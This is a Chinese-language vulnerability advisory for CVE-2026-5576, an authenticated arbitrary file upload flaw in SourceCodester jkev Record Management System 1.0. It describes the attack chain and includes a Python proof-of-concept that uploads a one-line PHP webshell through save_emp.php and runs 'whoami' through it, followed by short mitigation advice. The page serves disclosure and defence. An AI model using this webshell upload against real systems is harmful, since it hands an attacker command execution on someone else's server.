IPBUF安全漏洞报告
English
CVE-2026-5576 CVSS 4.7 中危

CVE-2026-5576:jkev记录管理系统任意文件上传漏洞

披露日期: 2026-04-05

漏洞信息

漏洞编号
CVE-2026-5576
漏洞类型
任意文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester jkev Record Management System

相关标签

文件上传远程代码执行Web安全PHPCVE-2026-5576CMS漏洞

漏洞概述

SourceCodester jkev Record Management System 1.0版本存在安全漏洞。问题出在添加员工页面的save_emp.php文件,由于未对上传文件进行严格限制,导致任意文件上传。攻击者需拥有高权限账户,利用此漏洞可上传恶意文件,进而威胁系统机密性、完整性和可用性。

技术细节

该漏洞源于SourceCodester jkev Record Management System 1.0中“添加员工”功能的文件处理逻辑缺陷。具体而言,在save_emp.php文件接收并处理员工头像或附件上传请求时,系统未能实施严格的安全校验机制,未对上传文件的扩展名、MIME类型或文件内容进行有效过滤。此漏洞的利用需要高权限(PR:H),即攻击者必须先通过合法途径登录系统并具备添加员工的权限。在利用阶段,攻击者通过向目标接口发送特制的HTTP POST请求,绕过客户端验证,上传包含恶意后门代码的PHP脚本。文件一旦成功保存至Web可访问目录,攻击者即可通过浏览器直接访问该文件路径,诱使服务器解析并执行恶意代码,从而实现远程代码执行(RCE),对系统的机密性、完整性和可用性造成实质性破坏。

攻击链分析

STEP 1
信息收集
攻击者侦察目标系统,确认其使用的是SourceCodester jkev Record Management System 1.0版本,并尝试获取高权限账户的登录凭证(如管理员账号)。
STEP 2
身份认证
攻击者使用获取的高权限凭证登录系统后台,获取有效的会话Cookie,以便进行后续操作。
STEP 3
漏洞利用
攻击者访问“添加员工”功能页面,拦截save_emp.php的请求,修改上传参数,将恶意PHP文件伪装或直接上传至服务器。
STEP 4
代码执行
攻击者通过浏览器访问已上传的恶意文件路径,触发服务器端解析执行PHP代码,从而获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Exploit Title: SourceCodester jkev Record Management System 1.0 - Unrestricted File Upload (RCE) # Date: 2026-04-05 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/... # Version: 1.0 # CVE: CVE-2026-5576 import requests # Configuration target_url = "http://target.com/jkev_record_management/" login_url = target_url + "login.php" upload_url = target_url + "save_emp.php" shell_name = "shell.php" username = "admin" # Requires High Privilege (PR:H) password = "password" # Create a session session = requests.Session() # Step 1: Login (High Privilege Required) login_data = { "username": username, "password": password } print("[+] Logging in...") response = session.post(login_url, data=login_data) if "login_success" in response.text or response.status_code == 200: print("[+] Login successful!") else: print("[-] Login failed. Check credentials.") exit() # Step 2: Prepare malicious file (PHP Webshell) php_code = "<?php system($_GET['cmd']); ?>" files = { 'photo': (shell_name, php_code, 'application/octet-stream') } # Step 3: Upload the file via save_emp.php # Note: The parameter name 'photo' is an assumption based on typical employee forms. # Adjust 'photo' and other fields based on the actual form structure. upload_data = { 'firstname': 'Test', 'lastname': 'User', # ... other required fields ... } print(f"[+] Uploading {shell_name}...") response = session.post(upload_url, files=files, data=upload_data) if response.status_code == 200: print("[+] File uploaded. Attempting to execute...") # Step 4: Verify execution shell_url = target_url + "uploads/" + shell_name # Check path structure verify = session.get(shell_url + "?cmd=whoami") if verify.status_code == 200: print(f"[+] Shell accessible at: {shell_url}") else: print("[-] Upload might have failed or path is incorrect.") else: print("[-] Upload request failed.")

影响范围

SourceCodester jkev Record Management System 1.0

防御指南

临时缓解措施
建议暂时禁用系统的员工添加功能中的文件上传模块,或者在Web服务器(如Apache/Nginx)层面对上传目录进行配置,禁止解析PHP文件。同时,加强管理员账户的安全策略,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表